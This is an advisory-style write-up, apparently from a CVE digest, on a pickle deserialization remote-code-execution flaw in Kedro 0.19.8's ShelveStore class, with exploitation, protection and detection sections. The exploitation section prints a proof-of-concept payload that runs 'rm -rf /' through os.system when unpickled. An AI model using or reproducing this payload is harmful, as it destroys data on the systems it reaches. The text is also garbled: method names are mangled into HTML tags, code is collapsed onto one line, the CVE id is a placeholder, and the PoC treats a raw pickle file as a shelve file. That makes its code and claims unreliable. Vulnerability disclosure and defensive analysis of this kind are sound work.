How the CVE Works:
The CVE-2025-XXXX vulnerability in Kedro (version 0.19.8) stems from the insecure deserialization of data in the `ShelveStore` class. This class utilizes Python’s `shelve` module, which internally relies on the `pickle` module for serialization and deserialization. Attackers can exploit this by crafting a malicious payload and injecting it into the shelve file. When the `ShelveStore` class deserializes this payload, it triggers the execution of arbitrary Python code. This Remote Code Execution (RCE) vulnerability can lead to a full system compromise, allowing attackers to gain unauthorized access, manipulate data, or disrupt services.
DailyCVE Form:
Platform: Kedro
Version: 0.19.8
Vulnerability: Remote Code Execution
Severity: Critical
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Crafting Malicious Payload:
Attackers can create a malicious Python object using `pickle` and serialize it into a shelve file.
Example:
import pickle
import os
class Exploit:
def <strong>reduce</strong>(self):
return (os.system, ('rm -rf /',))
payload = pickle.dumps(Exploit())
with open('malicious_shelve', 'wb') as f:
f.write(payload)
2. Injecting Payload:
The malicious shelve file is placed in a location accessible to the Kedro application.
3. Triggering Deserialization:
When Kedro deserializes the shelve file, the payload executes, leading to RCE.
Protection:
1. Upgrade Kedro:
Update to a patched version of Kedro (if available).
2. Avoid Insecure Deserialization:
Replace `ShelveStore` with a secure alternative that does not rely on pickle.
3. Input Validation:
Validate and sanitize all inputs to prevent malicious payloads from being processed.
4. Use Safe Serialization Libraries:
Switch to safer serialization formats like JSON or YAML.
5. Restrict File Permissions:
Ensure shelve files are stored in secure directories with restricted access.
Detection:
1. Monitor Logs:
Look for unusual activity or errors related to deserialization.
2. Static Code Analysis:
Use tools to detect insecure deserialization patterns in the codebase.
3. Network Monitoring:
Identify suspicious file uploads or data injections.
Commands:
- Check Kedro Version:
pip show kedro
- Upgrade Kedro:
pip install --upgrade kedro
- Scan for Vulnerabilities:
safety check
Code Example (Secure Alternative):
import json class SecureStore: def <strong>init</strong>(self, filepath): self.filepath = filepath def save(self, data): with open(self.filepath, 'w') as f: json.dump(data, f) def load(self): with open(self.filepath, 'r') as f: return json.load(f)
By following these steps, developers can mitigate the risks associated with CVE-2025-XXXX and secure their Kedro applications.
